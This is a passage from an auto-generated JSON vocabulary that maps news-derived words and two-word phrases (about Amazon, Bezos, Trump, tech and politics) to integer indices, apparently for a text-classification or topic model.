supremacists\": 106212,\n  \"prominent online\": 106213,\n  \"uncovered signs\": 106214,\n  \"jarislowsky fraser\": 106215,\n  \"new soy\": 106216,\n  \"fella\": 106217,\n  \"israel site\": 106218,\n  \"congressman cohen\": 106219,\n  \"panel raised\": 106220,\n  \"amazon innovations\": 106221,\n  \"financial rules\": 106222,\n  \"buy baby\": 106223,\n  \"puling\": 106224,\n  \"hassett added\": 106225,\n  \"node type\": 106226,\n  \"block bezos\": 106227,\n  \"prudence\": 106228,\n  \"fellow guests\": 106229,\n  \"struts\": 106230,\n  \"called code\": 106231,\n  \"aviation getty\": 106232,\n  \"sears demise\": 106233,\n  \"rivals david\": 106234,\n  \"owning media\": 106235,\n  \"investors 2018\": 106236,\n  \"selection avoiding\": 106237,\n  \"licensing opportunities\": 106238,\n  \"ground power\": 106239,\n  \"turnkey sale\": 106240,\n  \"cleared according\": 106241,\n  \"strength threatens\": 106242,\n  \"huge asset\": 106243,\n  \"greater vision\": 106244,\n  \"political tussles\": 106245,\n  \"site inside\": 106246,\n  \"aws operations\": 106247,\n  \"tech gear\": 106248,\n  \"participation prior\": 106249,\n  \"intrigues\": 106250,\n  \"walmart flipkart\": 106251,\n  \"executing\": 106252,\n  \"financial struggles\": 106253,\n  \"harassment policies\": 106254,\n  \"tom\": 106255,\n  \"just did\": 106256,\n  \"feb 2018\": 106257,\n  \"mondavi\": 106258,\n  \"american competition\": 106259,\n  \"marketwatch fed\": 106260,\n  \"purchases brick\": 106261,\n  \"bush authorized\": 106262,\n  \"expensive right\": 106263,\n  \"election reuters\": 106264,\n  \"aclu description\": 106265,\n  \"weinstein\": 106266,\n  \"salads sandwiches\": 106267,\n  \"earnings target\": 106268,\n  \"responded sort\": 106269,\n  \"having geographical\": 106270,\n  \"exact figures\": 106271,\n  \"transportation schools\": 106272,\n  \"companies collectively\": 106273,\n  \"notifying\": 106274,\n  \"analysis llc\": 106275,\n  \"bundling prime\": 106276,\n  \"annotations\": 106277,\n  \"intent\": 106278,\n  \"swamp incrementally\": 106279,\n  \"titular detective\": 106280,\n  \"donuts vp\": 106281,\n  \"hour free\": 106282,\n  \"government list\": 106283,\n  \"requires uniform\": 106284,\n  \"main media\": 106285,\n  \"delta osun\": 106286,\n  \"locka\": 106287,\n  \"days producing\": 106288,\n  \"frog\": 106289,\n  \"groupon rival\": 106290,\n  \"amazon health\": 106291,\n  \"special deals\": 106292,\n  \"sasha\": 106293,\n  \"lizzie litzow\": 106294,\n  \"sanchez know\": 106295,\n  \"children\": 106296,\n  \"institution study\": 106297,\n  \"jobs programme\": 106298,\n  \"periodic table\": 106299,\n  \"jenniferjjacobs spencersoper\": 106300,\n  \"computing needs\": 106301,\n  \"similar legislation\": 106302,\n  \"superior haughty\": 106303,\n  \"visionary company\": 106304,\n  \"harassment affairs\": 106305,\n  \"pichai defended\": 106306,\n  \"wilke introduced\": 106307,\n  \"startups newsbuzz\": 106308,\n  \"chain sears\": 106309,\n  \"garman technology\": 106310,\n  \"trump google\": 106311,\n  \"address counterfeits\": 106312,\n  \"filed 500\": 106313,\n  \"midas letter\": 106314,\n  \"sentiment aj\": 106315,\n  \"accessories 6pm\": 106316,\n  \"court employers\": 106317,\n  \"deep red\": 106318,\n  \"resorts founders\": 106319,\n  \"news friends\": 106320,\n  \"forward despite\": 106321,\n  \"ishares tr\": 106322,\n  \"homophobic espinal\": 106323,\n  \"high growth\": 106324,\n  \"hvac\": 106325,\n  \"oxnard calif\": 106326,\n  \"good sales\": 106327,\n  \"lemon\": 106328,\n  \"prestigious\": 106329,\n  \"primaries\": 106330,\n  \"labor\": 106331,\n  \"undercover journalist\": 106332,\n  \"package revenue\": 106333,\n  \"developer tearing\": 106334,\n  \"storyline\": 106335,\n  \"sharon tal\": 106336,\n  \"torrents\": 106337,\n  \"charles krauthammer\": 106338,\n  \"rhetorical question\": 106339,\n  \"charity pledge\": 106340,\n  \"time reportedly\": 106341,\n  \"manage growth\": 106342,\n  \"schrader\": 106343,\n  \"staff pms\": 106344,\n  \"office began\": 106345,\n  \"pregnant vanessa\": 106346,\n  \"regretted working\": 106347,\n  \"computing arm\": 106348,\n  \"time sign\": 106349,\n  \"time positions\": 106350,\n  \"pointedly labeled\": 106351,\n  \"ktrh news\": 106352,\n  \"chamber reuters\": 106353,\n  \"compensation data\": 106354,\n  \"warns online\": 106355,\n  \"wahshington post\": 106356,\n  \"strapped\": 106357,\n  \"lindsey wasson\": 106358,\n  \"pixel phones\": 106359,\n  \"tenuous history\": 106360,\n  \"child append\": 106361,\n  \"businesses yes\": 106362,\n  \"key results\": 106363,\n  \"meme taken\": 106364,\n  \"development offered\": 106365,\n  \"racist photo\": 106366,\n  \"ami agreed\": 106367,\n  \"host john\": 106368,\n  \"dillards bloomingdales\": 106369,\n  \"angelica\": 106370,\n  \"hancock annual\": 106371,\n  \"remark etsy\": 106372,\n  \"chocolate milkshakes\": 106373,\n  \"headset\": 106374,\n  \"8687\": 106375,\n  \"allergic\": 106376,\n  \"people actions\": 106377,\n  \"uncomfortable recent\": 106378,\n  \"urban radio\": 106379,\n  \"encompassing\": 106380,\n  \"brazil hopes\": 106381,\n  \"1nhtq5v illinois\": 106382,\n  \"clever\": 106383,\n  \"censorship including\": 106384,\n  \"million series\": 106385,\n  \"rates started\": 106386,\n  \"chicksonright\": 106387,\n  \"great depression\": 106388,\n  \"friends recommended\": 106389,\n  \"today ona\": 106390,\n  \"key parts\": 106391,\n  \"slut shaming\": 106392,\n  \"transmitted\": 106393,\n  \"anti iran\": 106394,\n  \"hq2 favorite\": 106395,\n  \"giant behemoth\": 106396,\n  \"feed demand\": 106397,\n  \"trump scott\": 106398,\n  \"giant uss\": 106399,\n  \"barletta pa\": 106400,\n  \"political uncertainties\": 106401,\n  \"tweets commercial\": 106402,\n  \"drugmaker purdue\": 106403,\n  \"buybacks\": 106404,\n  \"folk hero\": 106405,\n  \"state proposed\": 106406,\n  \"111\": 106407,\n  \"reconciliations aplenty\": 106408,\n  \"related pentagon\": 106409,\n  \"c_type\": 106410,\n  \"ponzi scheme\": 106411,\n  \"boston lawyers\": 106412,\n  \"valley robber\": 106413,\n  \"facebook duopoly\": 106414,\n  \"laptop going\": 106415,\n  \"oregon valley\": 106416,\n  \"climber\": 106417,\n  \"toes despite\": 106418,\n  \"does brad\": 106419,\n  \"labor issues\": 106420,\n  \"transports packages\": 106421,\n  \"missives\": 106422,\n  \"counterfeiting alibaba\": 106423,\n  \"crucial role\": 106424,\n  \"control sacred\": 106425,\n  \"recording president\": 106426,\n  \"farmers think\": 106427,\n  \"requiring potential\": 106428,\n  \"wis tweeted\": 106429,\n  \"tweeting\": 106430,\n  \"subpoena power\": 106431,\n  \"space likewise\": 106432,\n  \"confident dual\": 106433,\n  \"producers alcoa\": 106434,\n  \"running complex\": 106435,\n  \"story noted\": 106436,\n  \"palmer\": 106437,\n  \"monopoly advantage\": 106438,\n  \"earliest according\": 106439,\n  \"yeah right\": 106440,\n  \"contractor proposal\": 106441,\n  \"senator expressed\": 106442,\n  \"sadiq\": 106443,\n  \"drew public\": 106444,\n  \"laws according\": 106445,\n  \"summarizes\": 106446,\n  \"inchoate\": 106447,\n  \"department tried\": 106448,\n  \"trump hasn\": 106449,\n  \"steele dossier\": 106450,\n  \"worker receives\": 106451,\n  \"proceedings calling\": 106452,\n  \"tr1200\": 106453,\n  \"chutzpah\": 106454,\n  \"ft\": 106455,\n  \"sold 687\": 106456,\n  \"carell dress\": 106457,\n  \"perk job\": 106458,\n  \"drive rapid\": 106459,\n  \"gartner says\": 106460,\n  \"workers tapping\": 106461,\n  \"miles tailed\": 106462,\n  \"buff style\": 106463,\n  \"operator providing\": 106464,\n  \"insider intelligence\": 106465,\n  \"independent press\": 106466,\n  \"bezos according\": 106467,\n  \"deal jpmorgan\": 106468,\n  \"lever spokeswoman\": 106469,\n  \"largest daily\": 106470,\n  \"nobel peace\": 106471,\n  \"tamara\": 106472,\n  \"starve amazon\": 106473,\n  \"ebitd versus\": 106474,\n  \"wcnc\": 106475,\n  \"job creating\": 106476,\n  \"platforms\": 106477,\n  \"nonsense\": 106478,\n  \"based crisis\": 106479,\n  \"bank owners\": 106480,\n  \"kaola deal\": 106481,\n  \"viewership\": 106482,\n  \"annual fee\": 106483,\n  \"phillips hamilton\": 106484,\n  \"committee called\": 106485,\n  \"squid eats\": 106486,\n  \"false server719395\": 106487,\n  \"weblog\": 106488,\n  \"hires guards\": 106489,\n  \"enemies episodes\": 106490,\n  \"robbins\": 106491,\n  \"drink home\": 106492,\n  \"great weekend\": 106493,\n  \"trump aide\": 106494,\n  \"kiernan shipka\": 106495,\n  \"writes sarah\": 106496,\n  \"sent 350\": 106497,\n  \"remain committed\": 106498,\n  \"captain\": 106499,\n  \"journalist murdered\": 106500,\n  \"eu role\": 106501,\n  \"far nominated\": 106502,\n  \"reports quick\": 106503,\n  \"woodward simon\": 106504,\n  \"voters tend\": 106505,\n  \"\\u01428\": 106506,\n  \"media tommy\": 106507,\n  \"director zama\": 106508,\n  \"bezos hugging\": 106509,\n  \"clawback ivanka\": 106510,\n  \"ebay participated\": 106511,\n  \"style magazine\": 106512,\n  \"cortez basks\": 106513,\n  \"frances mcdormand\": 106514,\n  \"second want\": 106515,\n  \"just going\": 106516,\n  \"euro area\": 106517,\n  \"feral spirit\": 106518,\n  \"data stack\": 106519,\n  \"la verdad\": 106520,\n  \"post write\": 106521,\n  \"google suppresses\": 106522,\n  \"coexist\": 106523,\n  \"media enemies\": 106524,\n  \"jaar\": 106525,\n  \"fitness\": 106526,\n  \"government cutting\": 106527,\n  \"cia intends\": 106528,\n  \"amazon occupies\": 106529,\n  \"program\": 106530,\n  \"scheff\": 106531,\n  \"make according\": 106532,\n  \"trump claire\": 106533,\n  \"chavista shit\": 106534,\n  \"suppressed conservative\": 106535,\n  \"defense mattis\": 106536,\n  \"massive penetration\": 106537,\n  \"nerve reporter\": 106538,\n  \"sharply higher\": 106539,\n  \"controversial alexa\": 106540,\n  \"levels progresisvely\": 106541,\n  \"newspaper war\": 106542,\n  \"timothy clary\": 106543,\n  \"trump personal\": 106544,\n  \"television comedy\": 106545,\n  \"hush\": 106546,\n  \"thelegislative branch\": 106547,\n  \"kenneth darby\": 106548,\n  \"drivers joining\": 106549,\n  \"shimmer\": 106550,\n  \"devices privacy\": 106551,\n  \"beast reporting\": 106552,\n  \"people surveyed\": 106553,\n  \"malone\": 106554,\n  \"satisfying\": 106555,\n  \"explained ace\": 106556,\n  \"ota\": 106557,\n  \"house posted\": 106558,\n  \"different cloud\": 106559,\n  \"read republican\": 106560,\n  \"arabella\": 106561,\n  \"reactid 157\": 106562,\n  \"enquirer devoted\": 106563,\n  \"charlotte hornets\": 106564,\n  \"going higher\": 106565,\n  \"chase dubious\": 106566,\n  \"handed attempt\": 106567,\n  \"html cid\": 106568,\n  \"pesky hypocrisy\": 106569,\n  \"reported mccain\": 106570,\n  \"accountable amazon\": 106571,\n  \"dec\": 106572,\n  \"googl treat\": 106573,\n  \"violence everytown\": 106574,\n  \"executives aljazeera\": 106575,\n  \"seagull flying\": 106576,\n  \"candidates midterms\": 106577,\n  \"amzn latest\": 106578,\n  \"tussle\": 106579,\n  \"jeonghoon\": 106580,\n  \"consumer brands\": 106581,\n  \"week cicilline\": 106582,\n  \"equality act\": 106583,\n  \"funding secured\": 106584,\n  \"pricing marketing\": 106585,\n  \"titan\": 106586,\n  \"delayed fixing\": 106587,\n  \"years ina\": 106588,\n  \"8217 regard\": 106589,\n  \"powerful novel\": 106590,\n  \"srussia investigation\": 106591,\n  \"19th\": 106592,\n  \"letters usatoday\": 106593,\n  \"pea shooters\": 106594,\n  \"product introductions\": 106595,\n  \"speech thousands\": 106596,\n  \"roughly double\": 106597,\n  \"try banking\": 106598,\n  \"incumbent sen\": 106599,\n  \"password youll\": 106600,\n  \"path forward\": 106601,\n  \"average analyst\": 106602,\n  \"billionaire announcing\": 106603,\n  \"late push\": 106604,\n  \"elected going\": 106605,\n  \"outback\": 106606,\n  \"allbritton pam\": 106607,\n  \"gambled\": 106608,\n  \"definitely welcome\": 106609,\n  \"celebrity apprentice\": 106610,\n  \"springs shores\": 106611,\n  \"amends\": 106612,\n  \"president crusade\": 106613,\n  \"market proves\": 106614,\n  \"usps subsidizes\": 106615,\n  \"great marketing\": 106616,\n  \"outpaced policy\": 106617,\n  \"metro access\": 106618,\n  \"government including\": 106619,\n  \"interaction\": 106620,\n  \"marginal cost\": 106621,\n  \"fund chief\": 106622,\n  \"263 shares\": 106623,\n  \"hour\": 106624,\n  \"chief shareholder\": 106625,\n  \"presorted doses\": 106626,\n  \"2700\": 106627,\n  \"gmo labeling\": 106628,\n  \"wolverines\": 106629,\n  \"enterprise person\": 106630,\n  \"controversy supreme\": 106631,\n  \"palestinians house\": 106632,\n  \"local impact\": 106633,\n  \"freds\": 106634,\n  \"lower tech\": 106635,\n  \"overruled\": 106636,\n  \"lillian naa\": 106637,\n  \"reflecting\": 106638,\n  \"taylor charlotte\": 106639,\n  \"kunkle metro\": 106640,\n  \"hour news\": 106641,\n  \"haircut suggesting\": 106642,\n  \"resolution union\": 106643,\n  \"miller reportedly\": 106644,\n  \"respectively amazon\": 106645,\n  \"trump facebook\": 106646,\n  \"expanded tests\": 106647,\n  \"rentand\": 106648,\n  \"existential\": 106649,\n  \"dexheimer\": 106650,\n  \"tax return\": 106651,\n  \"2019 issue\": 106652,\n  \"happy children\": 106653,\n  \"money trump\": 106654,\n  \"senior lecturer\": 106655,\n  \"player 575\": 106656,\n  \"carved\": 106657,\n  \"plot developments\": 106658,\n  \"street food\": 106659,\n  \"clowning\": 106660,\n  \"food giant\": 106661,\n  \"file\": 106662,\n  \"maduro wants\": 106663,\n  \"stream footage\": 106664,\n  \"oscar party\": 106665,\n  \"favor thanks\": 106666,\n  \"content tom\": 106667,\n  \"tax load\": 106668,\n  \"unit\": 106669,\n  \"accounts consumer\": 106670,\n  \"soccer ball\": 106671,\n  \"extraordinary wonders\": 106672,\n  \"nokia mobile\": 106673,\n  \"customers pick\": 106674,\n  \"sparring amazon\": 106675,\n  \"affect tech\": 106676,\n  \"require lot\": 106677,\n  \"000 faces\": 106678,\n  \"houston serial\": 106679,\n  \"officials trying\": 106680,\n  \"boss deliver\": 106681,\n  \"adopted\": 106682,\n  \"stopthebias\": 106683,\n  \"union addresses\": 106684,\n  \"2015 galloway\": 106685,\n  \"amzn reported\": 106686,\n  \"retailer recent\": 106687,\n  \"actually needed\": 106688,\n  \"elder daughter\": 106689,\n  \"bit higher\": 106690,\n  \"2020 primary\": 106691,\n  \"dow industrial\": 106692,\n  \"transparency advocate\": 106693,\n  \"lee kristen\": 106694,\n  \"stuffer\": 106695,\n  \"revolutionary smart\": 106696,\n  \"aws partnered\": 106697,\n  \"soundproof booth\": 106698,\n  \"brin divorced\": 106699,\n  \"shared advice\": 106700,\n  \"rouven\": 106701,\n  \"klan\": 106702,\n  \"dollar government\": 106703,\n  \"global stakeholders\": 106704,\n  \"priced vaheesan\": 106705,\n  \"report cuomo\": 106706,\n  \"don need\": 106707,\n  \"offering internal\": 106708,\n  \"sourcedaniel goodman\": 106709,\n  \"bastion\": 106710,\n  \"rosario tools\": 106711,\n  \"based private\": 106712,\n  \"anonymous account\": 106713,\n  \"competition opened\": 106714,\n  \"newark northern\": 106715,\n  \"borders guyana\": 106716,\n  \"analytica controversy\": 106717,\n  \"buy isn\": 106718,\n  \"cave mae\": 106719,\n  \"cahoots\": 106720,\n  \"discontinued\": 106721,\n  \"shopping malls\": 106722,\n  \"page letter\": 106723,\n  \"tricky situation\": 106724,\n  \"model crafts\": 106725,\n  \"failing times\": 106726,\n  \"zombie\": 106727,\n  \"counterarguments\": 106728,\n  \"game price\": 106729,\n  \"okcupid match\": 106730,\n  \"police officials\": 106731,\n  \"support grateful\": 106732,\n  \"fiber fuel\": 106733,\n  \"second placeholder\": 106734,\n  \"really share\": 106735,\n  \"rotunda\": 106736,\n  \"nahata ceo\": 106737,\n  \"nears votes\": 106738,\n  \"used widely\": 106739,\n  \"grown adults\": 106740,\n  \"business shareholders\": 106741,\n  \"mischief\": 106742,\n  \"providing\": 106743,\n  \"expansion amazon\": 106744,\n  \"jonathan olley\": 106745,\n  \"christian radio\": 106746,\n  \"human consequences\": 106747,\n  \"total hectares\": 106748,\n  \"lendedu survey\": 106749,\n  \"ms thompson\": 106750,\n  \"applauded amazon\": 106751,\n  \"dedicated everyday\": 106752,\n  \"amazon valued\": 106753,\n  \"amazon reinvested\": 106754,\n  \"house member\": 106755,\n  \"street smart\": 106756,\n  \"census citizenship\": 106757,\n  \"trading griffeth\": 106758,\n  \"maria new\": 106759,\n  \"anselm college\": 106760,\n  \"george pelecanos\": 106761,\n  \"famous strand\": 106762,\n  \"effects matthew\": 106763,\n  \"days leader\": 106764,\n  \"enhancement\": 106765,\n  \"ny daily\": 106766,\n  \"presidency according\": 106767,\n  \"office starts\": 106768,\n  \"greenlit\": 106769,\n  \"idea amazon\": 106770,\n  \"catching\": 106771,\n  \"steve schwartzman\": 106772,\n  \"netflix called\": 106773,\n  \"best fall\": 106774,\n  \"decimals\": 106775,\n  \"festivals\": 106776,\n  \"cosecha launched\": 106777,\n  \"dan niles\": 106778,\n  \"civil unrest\": 106779,\n  \"local people\": 106780,\n  \"produce viable\": 106781,\n  \"york laura\": 106782,\n  \"haunting\": 106783,\n  \"resident ivan\": 106784,\n  \"gop celebration\": 106785,\n  \"global surge\": 106786,\n  \"officer continue\": 106787,\n  \"push paid\": 106788,\n  \"beta participants\": 106789,\n  \"completes\": 106790,\n  \"maker canaan\": 106791,\n  \"responding directly\": 106792,\n  \"immigrant defense\": 106793,\n  \"mary blige\": 106794,\n  \"tariffs hidden\": 106795,\n  \"shaming\": 106796,\n  \"500 dipped\": 106797,\n  \"alibaba earnings\": 106798,\n  \"lost think\": 106799,\n  \"mchugh chairman\": 106800,\n  \"dewey\": 106801,\n  \"legal strategies\": 106802,\n  \"ultimately recover\": 106803,\n  \"abruptly dropped\": 106804,\n  \"nadella says\": 106805,\n  \"evenly\": 106806,\n  \"multiple suppliers\": 106807,\n  \"ongoing corporate\": 106808,\n  \"yadkinville\": 106809,\n  \"florida drivers\": 106810,\n  \"print media\": 106811,\n  \"thank ben\": 106812,\n  \"gervaiss\": 106813,\n  \"soundly\": 106814,\n  \"contract getty\": 106815,\n  \"suspiciously trumpian\": 106816,\n  \"widely slammed\": 106817,\n  \"forged strong\": 106818,\n  \"finance police\": 106819,\n  \"challenging economic\": 106820,\n  \"marriages ended\": 106821,\n  \"memphis hub\": 106822,\n  \"biological resources\": 106823,\n  \"finance new\": 106824,\n  \"forming relationship\": 106825,\n  \"published exactly\": 106826,\n  \"st charles\": 106827,\n  \"1138et\": 106828,\n  \"open new\": 106829,\n  \"career bezos\": 106830,\n  \"market location\": 106831,\n  \"river\": 106832,\n  \"persuading\": 106833,\n  \"operation plus\": 106834,\n  \"downtown nashville\": 106835,\n  \"reached 825\": 106836,\n  \"deforesters\": 106837,\n  \"sector lead\": 106838,\n  \"look alli\": 106839,\n  \"expenditure cost\": 106840,\n  \"decimate\": 106841,\n  \"strother\": 106842,\n  \"attendees\": 106843,\n  \"added american\": 106844,\n  \"publicity shy\": 106845,\n  \"department filed\": 106846,\n  \"assistant editor\": 106847,\n  \"guarantee higher\": 106848,\n  \"bisbee\": 106849,\n  \"unlock objects\": 106850,\n  \"album meaning\": 106851,\n  \"pitting\": 106852,\n  \"web desk\": 106853,\n  \"premier\": 106854,\n  \"farrow notes\": 106855,\n  \"loud angry\": 106856,\n  \"ruminations\": 106857,\n  \"memo trump\": 106858,\n  \"codified\": 106859,\n  \"words tech\": 106860,\n  \"undemocratic\": 106861,\n  \"political coverage\": 106862,\n  \"news politics\": 106863,\n  \"internet disclaimers\": 106864,\n  \"hailing giant\": 106865,\n  \"border tax\": 106866,\n  \"bearing phrases\": 106867,\n  \"intimidating\": 106868,\n  \"introductions npi\": 106869,\n  \"allows killing\": 106870,\n  \"alibaba reports\": 106871,\n  \"seiler\": 106872,\n  \"aides fear\": 106873,\n  \"launch lon\": 106874,\n  \"dangerous cold\": 106875,\n  \"american forest\": 106876,\n  \"far resisted\": 106877,\n  \"year rizer\": 106878,\n  \"content\": 106879,\n  \"8221\": 106880,\n  \"force feed\": 106881,\n  \"company involvement\": 106882,\n  \"tonight rathner\": 106883,\n  \"president stressed\": 106884,\n  \"facebook videos\": 106885,\n  \"brigitte macron\": 106886,\n  \"ea a4ee\": 106887,\n  \"george noted\": 106888,\n  \"meyer kenmeyer91\": 106889,\n  \"growing quickly\": 106890,\n  \"geographyiq places\": 106891,\n  \"neosho proposes\": 106892,\n  \"vatican bishops\": 106893,\n  \"companies starting\": 106894,\n  \"disincentivize consumers\": 106895,\n  \"ago northfield\": 106896,\n  \"suggesting amazon\": 106897,\n  \"zone waterproof\": 106898,\n  \"blowing away\": 106899,\n  \"know singing\": 106900,\n  \"family tax\": 106901,\n  \"assaults trump\": 106902,\n  \"japanese\": 106903,\n  \"report sara\": 106904,\n  \"erp\": 106905,\n  \"repubs science\": 106906,\n  \"tom bauerle\": 106907,\n  \"commission holds\": 106908,\n  \"truthout wouldn\": 106909,\n  \"believe higher\": 106910,\n  \"prohibit material\": 106911,\n  \"679\": 106912,\n  \"fubotv subscription\": 106913,\n  \"vanity ad\": 106914,\n  \"chiselled\": 106915,\n  \"cores\": 106916,\n  \"looking good\": 106917,\n  \"massachusetts federal\": 106918,\n  \"marked private\": 106919,\n  \"mueller issues\": 106920,\n  \"investor business\": 106921,\n  \"city\": 106922,\n  \"bernie talking\": 106923,\n  \"negative bias\": 106924,\n  \"set retail\": 106925,\n  \"zealand\": 106926,\n  \"ioc reuters\": 106927,\n  \"pared gains\": 106928,\n  \"anti bezos\": 106929,\n  \"newsday impact\": 106930,\n  \"search product\": 106931,\n  \"asset sales\": 106932,\n  \"shares american\": 106933,\n  \"post bezos\": 106934,\n  \"real difference\": 106935,\n  \"cold case\": 106936,\n  \"reported schiff\": 106937,\n  \"packages online\": 106938,\n  \"forward amazon\": 106939,\n  \"excitement\": 106940,\n  \"abudu\": 106941,\n  \"morning pointing\": 106942,\n  \"apparent low\": 106943,\n  \"business environment\": 106944,\n  \"allowing child\": 106945,\n  \"ago showing\": 106946,\n  \"dossier democrats\": 106947,\n  \"soy expansion\": 106948,\n  \"average shopper\": 106949,\n  \"trump railed\": 106950,\n  \"blatant\": 106951,\n  \"talks kick\": 106952,\n  \"usa gymnastics\": 106953,\n  \"leighton meester\": 106954,\n  \"imagines nightmare\": 106955,\n  \"ia raise\": 106956,\n  \"review programme\": 106957,\n  \"korean official\": 106958,\n  \"markupid large\": 106959,\n  \"hacked bezos\": 106960,\n  \"excessively\": 106961,\n  \"aswath damodaran\": 106962,\n  \"travel long\": 106963,\n  \"faces challenge\": 106964,\n  \"democratic national\": 106965,\n  \"named lauren\": 106966,\n  \"tell trump\": 106967,\n  \"mysterious dollhouse\": 106968,\n  \"twitter cicilline\": 106969,\n  \"time limit\": 106970,\n  \"mufg\": 106971,\n  \"huawei device\": 106972,\n  \"vitale assistant\": 106973,\n  \"amazon rainforest\": 106974,\n  \"otis wsj\": 106975,\n  \"forcibly retiring\": 106976,\n  \"hours jpmorgan\": 106977,\n  \"dieting\": 106978,\n  \"drew closer\": 106979,\n  \"freight companies\": 106980,\n  \"uses raw\": 106981,\n  \"sewage\": 106982,\n  \"results market\": 106983,\n  \"collusion exists\": 106984,\n  \"larry david\": 106985,\n  \"predicted global\": 106986,\n  \"prosecutor silvio\": 106987,\n  \"domestic demand\": 106988,\n  \"financial conduction\": 106989,\n  \"butted heads\": 106990,\n  \"defense business\": 106991,\n  \"stipulation earns\": 106992,\n  \"sleep story\": 106993,\n  \"reef systems\": 106994,\n  \"says author\": 106995,\n  \"ott content\": 106996,\n  \"chinese manufacturing\": 106997,\n  \"fedora head\": 106998,\n  \"manager hinted\": 106999,\n  \"paradox early\": 107000,\n  \"powerful volume\": 107001,\n  \"pope benedict\": 107002,\n  \"extraordinarily\": 107003,\n  \"music news\": 107004,\n  \"amazon yielded\": 107005,\n  \"nycedc president\": 107006,\n  \"sales stand\": 107007,\n  \"month warren\": 107008,\n  \"launch search\": 107009,\n  \"excited everytime\": 107010,\n  \"infiltrated\": 107011,\n  \"add hbo\": 107012,\n  \"created party\": 107013,\n  \"nd2pss newswi\": 107014,\n  \"rich tech\": 107015,\n  \"signature astute\": 107016,\n  \"b7a x2x\": 107017,\n  \"program bernie\": 107018,\n  \"lanaria\": 107019,\n  \"ears amazon\": 107020,\n  \"outs\": 107021,\n  \"slide did\": 107022,\n  \"rose slightly\": 107023,\n  \"year google\": 107024,\n  \"gi2xdlmntzm\": 107025,\n  \"technology mergers\": 107026,\n  \"avoid damaging\": 107027,\n  \"make speech\": 107028,\n  \"falling amid\": 107029,\n  \"recommends creating\": 107030,\n  \"fakes\": 107031,\n  \"customers wide\": 107032,\n  \"street royalty\": 107033,\n  \"affairs decision\": 107034,\n  \"show__name fastdom\": 107035,\n  \"appropriate deal\": 107036,\n  \"clark says\": 107037,\n  \"lot read\": 107038,\n  \"priced\": 107039,\n  \"trolling people\": 107040,\n  \"public favors\": 107041,\n  \"discredited wolff\": 107042,\n  \"fool transcripts\": 107043,\n  \"rushnell\": 107044,\n  \"comments fed\": 107045,\n  \"carouselcontentitems eq\": 107046,\n  \"advances border\": 107047,\n  \"customer satisfaction\": 107048,\n  \"materials\": 107049,\n  \"opening accounts\": 107050,\n  \"initial threat\": 107051,\n  \"360 contenttype\": 107052,\n  \"difficult\": 107053,\n  \"species\": 107054,\n  \"latest financials\": 107055,\n  \"wife tracee\": 107056,\n  \"customer engagement\": 107057,\n  \"surefire\": 107058,\n  \"database additionally\": 107059,\n  \"thread political\": 107060,\n  \"cooperate\": 107061,\n  \"district isn\": 107062,\n  \"lp owns\": 107063,\n  \"sideline right\": 107064,\n  \"terrifying story\": 107065,\n  \"heavy rain\": 107066,\n  \"thanks cathy\": 107067,\n  \"donated \\u0142111million\": 107068,\n  \"cape contacted\": 107069,\n  \"beards moser\": 107070,\n  \"rider trips\": 107071,\n  \"commission jean\": 107072,\n  \"cuomo talks\": 107073,\n  \"twitter couldn\": 107074,\n  \"foundation hired\": 107075,\n  \"read feature\": 107076,\n  \"shipping program\": 107077,\n  \"seeking behavior\": 107078,\n  \"unknown law\": 107079,\n  \"freewheeling dc\": 107080,\n  \"white men\": 107081,\n  \"contractor program\": 107082,\n  \"brief surge\": 107083,\n  \"wars journal\": 107084,\n  \"captain edward\": 107085,\n  \"franchise fees\": 107086,\n  \"landing pages\": 107087,\n  \"r15\": 107088,\n  \"worth \\u014263\": 107089,\n  \"premier li\": 107090,\n  \"fukuoka\": 107091,\n  \"review notable\": 107092,\n  \"heart bezos\": 107093,\n  \"pecker ceo\": 107094,\n  \"subjects schiff\": 107095,\n  \"resulting 930\": 107096,\n  \"face threats\": 107097,\n  \"drago yes\": 107098,\n  \"impose steel\": 107099,\n  \"party researchers\": 107100,\n  \"realnetworks\": 107101,\n  \"400 plus\": 107102,\n  \"dark roast\": 107103,\n  \"hotbeds\": 107104,\n  \"storyful\": 107105,\n  \"american express\": 107106,\n  \"collusion digital\": 107107,\n  \"times conditions\": 107108,\n  \"effective cnn\": 107109,\n  \"workers union\": 107110,\n  \"fierce critic\": 107111,\n  \"prospects maybe\": 107112,\n  \"killed nearly\": 107113,\n  \"wildfires weather\": 107114,\n  \"fake paper\": 107115,\n  \"homes people\": 107116,\n  \"iac\": 107117,\n  \"discussions howard\": 107118,\n  \"rds\": 107119,\n  \"media rightfully\": 107120,\n  \"alphaone investment\": 107121,\n  \"unite donald\": 107122,\n  \"lost donald\": 107123,\n  \"gratitude\": 107124,\n  \"wet\": 107125,\n  \"force protection\": 107126,\n  \"routine pharmacy\": 107127,\n  \"gerber\": 107128,\n  \"dnainfo\": 107129,\n  \"colson whitehead\": 107130,\n  \"initial complaint\": 107131,\n  \"jschapiro\": 107132,\n  \"party shippers\": 107133,\n  \"larger factor\": 107134,\n  \"adjacent\": 107135,\n  \"allison oppenheim\": 107136,\n  \"groundbreaking ceremony\": 107137,\n  \"brennan trump\": 107138,\n  \"house amazonbasics\": 107139,\n  \"posts biggest\": 107140,\n  \"additional trade\": 107141,\n  \"external hard\": 107142,\n  \"near term\": 107143,\n  \"tennessee border\": 107144,\n  \"arrested\": 107145,\n  \"600 share\": 107146,\n  \"state house\": 107147,\n  \"little insight\": 107148,\n  \"bundy\": 107149,\n  \"119 shares\": 107150,\n  \"success raised\": 107151,\n  \"siminoff left\": 107152,\n  \"detective\": 107153,\n  \"agreement abramowitz\": 107154,\n  \"holly\": 107155,\n  \"stocks bounce\": 107156,\n  \"guber\": 107157,\n  \"unspeakable violence\": 107158,\n  \"stop fresh\": 107159,\n  \"easily purchased\": 107160,\n  \"dubbing\": 107161,\n  \"headquarterless\": 107162,\n  \"election season\": 107163,\n  \"newest ads\": 107164,\n  \"punching way\": 107165,\n  \"watering\": 107166,\n  \"reporting requirement\": 107167,\n  \"sex school\": 107168,\n  \"antitrust division\": 107169,\n  \"sandra bullock\": 107170,\n  \"privately expressed\": 107171,\n  \"netflix says\": 107172,\n  \"jeremy smith\": 107173,\n  \"courtesy\": 107174,\n  \"problems fake\": 107175,\n  \"public office\": 107176,\n  \"snoddy asks\": 107177,\n  \"monopolistic dominance\": 107178,\n  \"amica\": 107179,\n  \"weakens samsung\": 107180,\n  \"bass island\": 107181,\n  \"skateboarding sorry\": 107182,\n  \"144 year\": 107183,\n  \"reactid 139\": 107184,\n  \"infrastructure medicare\": 107185,\n  \"chernin\": 107186,\n  \"fundamental ownership\": 107187,\n  